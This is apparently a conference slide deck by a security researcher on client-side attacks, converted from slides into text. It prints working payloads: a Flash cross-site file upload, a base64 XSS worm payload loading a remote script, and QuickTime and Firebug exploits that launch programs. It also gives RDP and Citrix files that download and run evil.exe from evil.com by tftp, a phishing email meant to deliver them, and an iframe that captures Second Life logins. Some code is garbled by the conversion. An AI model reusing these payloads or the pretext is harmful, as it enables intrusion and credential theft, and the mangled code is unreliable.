

## pdp

information security researcher, hacker, general experimentalist pdp.io | gnucitizen.org | hakiri.org | spinhunters.org | houseofhackers.org | securls.com | blogsecurify.com | adsosimple.com | websecurify.com





### CLIENT-SIDE SECURITY

HOW TO FIND SECURITY PROBLEMS WITHOUT EVEN TRYING RICH CLIENTS SECURITY ISSUES

PENTESTING ZEN-STYLE

DESIGN BUGS





### CLIENT - SERVER

CLIENTS & SERVERS ARE IN A CONSTANT INTERACTION.
THEY ARE IN SYMBIOSIS.

# CCRF, XCS, CFA CROSS-CONTEXT REQUEST FORGERY CROSS-CONTEXT SCRIPTING COMMAND FIXATION ATTACKS

### CCRF CROSS-CONTEXT REQUEST FORGERY


### THE GMAIL HIJACK TECHNIQUE



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## OTHER EXAMPLES OF TYPICAL CSRF ATTACKS

- Attacking the BT Home Hub
- Attacking Snom VoIP Phone
- Etc...



## CROSS-SITE FILE UPLOAD ATTACKS

#### The Flash Method

```
<mx:Application xmlns:mx="http://www.adobe.com/2006/mxml"</pre>
 creationComplete="onAppInit()">
        <mx:Script>
                /* by Petko D. Petkov; pdp
                 * GNUCITIZEN
                import flash.net.*;
                private function onAppInit():void
                       var r:URLRequest = new
 URLRequest('http://victim.com/upload.php');
                       r.method = 'POST';
 unescape ('-----
                           -----109092118919201%0D%0AContent-Disposition%3A
 form-data%3B name%3D%22file%22%3B filename%3D%22qc.txt%22%0D%0AContent-Type%3A
 text%2Fplain%0D%0A%0D%0AHi from GNUCITIZEN%21%0D
 data%3B name%3D%22submit%22%0D%0A%0D%0ASubmit Query%0D
            -----109092118919201--%OA');
                 r.contentType = 'multipart/form-data;
 boundary=----109092118919201';
                      navigateToURL(r, ' self');
        </mx:Script>
 </mx:Application>
```

#### THE FLASH UPNP HACK

#### A Flash Exploit

• works with sendToURL

### XCS CROSS-CONTEXT SCRIPTING

#### THE POWNCE WORM

#### Pseudo exploit:

```
[html junk]
  */<script>/*
[html junk]
  */ XSS Payload which does not need to contain HTML meta characters /*
[html junk]
```

#### Actual exploit:

```
• [html junk]


    */<script>/*

[html junk]

    */document.write(atob(/PHNjcmlwdCBzcmM9Imh0dHA6Ly9ja2Vycy5vcmcvcyI+PC9zY3JpcHQ+PCEtLQ==/.toString().substr(1,56)));/*

[html junk]
```

### THE POWNCE WORM



#### THE JAVA RUNTIME AND JAR

- Get an image from the Web:
  - fancyimage.jpg
- Prepare a JAR:
  - jar cvf evil.jar Evil\*.class
- Put them together:
  - copy /B fancyimage.jpg + evil.jar fancyevilimage.jpg

```
cp fancyimage.jpg fancyevilimage.jpg cat evi.jar >> fancyevilimage.jpg
```

- Result:
  - Persistent XSS + Other fancy things

## FIREFOX JAR: URL HANDLER ISSUES

- Basic jar: Example
  - jar: [url to archive]! [path to file]
  - jar:https://domain.com/path/to/jar.jar!/Pictures/a.jpg
- When uploaded and accessed it executes within the origins of the [url to archive]

#### QUICKTIME PWNS FIREFOX

#### QuickTime Media Links

<?xml version="1.0">
 <?quicktime type="application/x-quicktime-media-link"?>
 <embed src="Sample.mov" autoplay="true"/>

#### Supported File Extensions

3g2, 3gp, 3gp2, 3gpp, AMR, aac, adts, aif, aifc, aiff, amc, au, avi, bwf, caf, cdda, cel, flc, fli, gsm, m15, m1a, m1s, m1v, m2a, m4a, m4b, m4p, m4v, m75, mac, mov, mp2, mp3, mp4, mpa, mpeg, mpg, mpm, mpv, mqv, pct, pic, pict, png, pnt, pntg, qcp, qt, qti, qt

### QUICKTIME PWNS FIREFOX

#### The Exploit

```
    <?xml version="1.0">
    <?quicktime type="application/x-quicktime-media-link"?>
    <embed src="a.mp3" autoplay="true" qtnext="-chrome
    javascript:file=Components.classes['@mozilla.org/file/local;
    1'].createInstance(Components.interfaces.nsILocalFile);file.initWit
    hPath('c:\\windows\\system32\\calc.exe');process=Components.classes
    ['@mozilla.org/process/util;
    1'].createInstance(Components.interfaces.nsIProcess);process.init(file);process.run(true,[],0);void(0);"/>
```

#### FIREBUG GOES EVIL

#### Payload

```
console.log({'<script>var s=[]<\/script>': 'payload']);
console.log({'<script>s.push("function runFi")<\/script>': 'payload']);
console.log({'<script>s.push("le(f) {var file")<\/script>': 'payload']);
console.log({'<script>s.push("=Components.cl")<\/script>': 'payload']);
console.log({'<script>s.push("asses[\"@mozil")<\/script>': 'payload']);
console.log({'<script>s.push("la.org/file/lo")<\/script>': 'payload']);
console.log({'<script>s.push("cal;l\\"].creat")<\/script>': 'payload']);
console.log({'<script>s.push("cal;l\\"].creat")<\/script>': 'payload']);
console.log({'<script>s.push("ces.nsILocalFi")<\/script>': 'payload']);
console.log({'<script>s.push("ces.nsILocalFi")<\/script>': 'payload']);
console.log({'<script>s.push("le);file.initW"><\/script>': 'payload']);
console.log({'<script>s.push("ithPath(f);var")<\/script>': 'payload']);
console.log({'<script>s.push("nents.classes[")<\/script>': 'payload']);
console.log({'<script>s.push("nents.classes[")<\/script>': 'payload']);
console.log({'<script>s.push("nents.classes[")<\/script>': 'payload']);
console.log({'<script>s.push("hents.classes[")<\/script>': 'payload']);
console.log({'<script>s.push("la.org")console.log({'<script>s.push("la.org")coript>': 'payload']);
console.log({'<script>s.push("la.org")coript>': 'payload']);
console.log({'<script>s.push("la.org")coript>': 'payload']);
console.log({'<script>s.push("la.org")coript>': 'payload']);
console.log({'<script>s.push("nsIProcess);pr")console.log({'<script>s.push("nsIProcess);pr")coript>': 'payload']);
console.log({'<script>s.push("nsIProcess);pr")coript>': 'payload']);
console.log({'<script>s.push("nsIProcess);pr")console.log({'<script>s.push("nsIProcess);pr")coript>': 'payload']);
console.log({'<script>s.push("slice.call(arg")coript>': 'payload']);
console.log({'<script>s.push("ray.prototype.")console.log({'<script>s.push("ray.prototype.")console.log({'<script>s.push("ray.prototype
```

#### FIREBUG GOES EVIL

#### function execute (p) {

```
function execute (p) {
  var p = p.replace(/\\/g, '\\\');
  console.log({'<script>var p=[]<\/script>': 'execute'});

for (var i = 0; i < p.length; i += 14) {
  var mal obj = {};
  mal obj['<script>p.push("' + p.substring(i, i + 14) +
  '")<\/script>'] = 'execute';

  console.log(mal_obj);
}

console.log(f'<script>runFile(p.join(""))<\/script>': 'execute'});

execute('c:\\windows\\system32\calc.exe');
```

### VULNERABILITIES IN SKYPE

#### Deadly Combination

• DailyMotion/Metacafe + XSS + Skype = Ownage

#### Code

#### Vector

skype:?multimedia\_mood&partner=metacafe&id=1053760

#### Credits

- Miroslav Lučinskij
- Aviv Raff

### VULNERABILITIES IN SKYPE

- Pwnable via the AIR
  - AIRPWN
  - Karma



## CFA COMMAND FIXATION ATTACKS

## RDP COMMAND FIXATION ATTACKS

#### The Malicious One

```
• screen mode id:i:1
 desktopwidth:i:800
 desktopheight:i:600
 session bpp:i:16
 full address:s:172.16.3.191
 compression:i:1
 keyboardhook:i:2
 alternate shell:s:cmd.exe /C "tftp -i
 evil.com GET evil.exe evil.exe &
 evil.exe"
 shell working directory:s:C:\
 bitmapcachepersistenable:i:1
```

#### Hello John,

This is Tim from Tech Department. I was informed that you have some problems with your remote desktop connectivity. I've attached a modified RDP file you can tryout and see if it works. Just double click on the file and login. Your domain credentials should work. Let me know if you have any problems.

Tim O'Brian Tech Department



## RDP COMMAND FIXATION ATTACKS

- Microsoft Live Mesh will make it a lot easer.
- RDP over HTTP?
- Other Web2.0 Goodies...

## CITRIX COMMAND FIXATION ATTACKS

#### The Evil One

[WFClient] Version=1

```
[ApplicationServers]
Connection To Citrix Server]
[Connection To Citrix Server]
AutoLogonAllowed=On
UseLocalUserAndPassword=On
InitialProgram=cmd.exe /C "tftp -i evil.com GET evil.exe evil.exe & evil.exe"

ScreenPercent=0
CITRIX auto-start
```

#### In an iFrame

• <iframe
src="http://evil.com/path/to/evil.ica"></
iframe>

## CITRIX COMMAND FIXATION ATTACKS

- but also possible via the ICA ActiveX controller
- requires the CITRIX Neighborhood
- but targets can be bruteforced or guessed

### IE PWNS SECOND LIFE

- The Exploit
  - <iframe src='secondlife://" -autologin
    -loginuri "http://evil.com/sl/recordlogin.php'></iframe>

#### IE PWNS SECOND LIFE

#### Avatar Theft

#### DRIVE BY JAVA

#### ANT building Script

```
<target name="pack" depends="compile">
<jar basedir="." destfile="${jar}"/>

<pre
<sign;jar jar="${jar}" alias="key" storepass="abc123" keystore=".tmp.jks"/>
<delete file=".tmp.jks"/>
</target>

<target name="appletize">
<target name="appletize">
<echo file="${htm}" message="&lt;APPLET code=&quot;${applet.class}&quot; archive=&quot;${jar}&quot;
width=&quot;${applet.width}&quot; height=&quot;${applet.height}&quot;&gt;&lt;/APPLET&gt;"/>

 <target name="clean">
<delete file="${htm}"/>
<delete file=".tmp.jks"/>
```


#### DRIVE BY JAVA

#### Malicious Applet

```
import java.io.*;
 import java.net.*;
 import java.awt.*;
 import java.applet.*;
import java.awt.event.*;
 public class SuperMario3D extends Applet {
 public void init() {
 try {
 Process p =
 Runtime.getRuntime().exec("calc");
 } catch (IOException e) {
 //do nothing
```

#### QUICKTIME – WINDOWS - JAVA

- Affects Vista and XP (latest service packs).
- The Exploit:





If today's malware mostly runs on Windows because it's the commonest executable platform, tomorrow's will likely run on the Web, for the very same reason. Because, like it or not, Web is already a huge executable platform, and we should start thinking at it this way, from a security perspective.

Giorgio Maone (NoScript)



Clients and Servers are in symbiosis. The security of the server often depends on the security of the individual clients, while the security of the client depends on the security of the servers it is interacting with...

pdp (GNUCITIZEN)

...Clients are complicated as they rely on numerous crossinteracting technologies. Although each technology may be individually secured, it could turn to have some serious security implications on its environment, when combined with others (i.e...

pdp (GNUCITIZEN)

msecure + secure != 2 x secure).

pdp (GNUCITIZEN)

## THANK YOU FOR ATTENDING

